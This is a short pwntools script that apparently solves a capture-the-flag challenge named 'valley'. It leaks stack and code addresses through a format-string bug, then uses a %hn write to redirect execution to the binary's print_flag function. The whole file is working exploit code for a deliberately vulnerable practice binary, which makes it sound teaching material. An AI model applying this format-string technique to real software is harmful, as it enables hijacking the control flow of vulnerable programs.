#!/usr/bin/python3

from pwn import *

context.binary = target = ELF("./valley", checksec=False)
r = process()

# funcs
s = lambda a: r.sendlineafter(b": ", a)
ss = lambda a: r.sendline(a)

# leak
s(b"%20$p.%21$p")
r.recvuntil(b": ")
leaks = r.recvlineS().split(".")
stack_addr = int(leaks[0], 16) - 0x8
log.info("stack_addr: %#x", stack_addr)
print_flag = int(leaks[1], 16) - 0x1aa
log.info("print_flag: %#x", print_flag)
write_bytes = int(str(hex(print_flag))[-4:], 16)
fs = f"%{write_bytes}x%8$hnAAAA".encode()

# write
ss(fs+p64(stack_addr))
ss(b"exit")

r.interactive()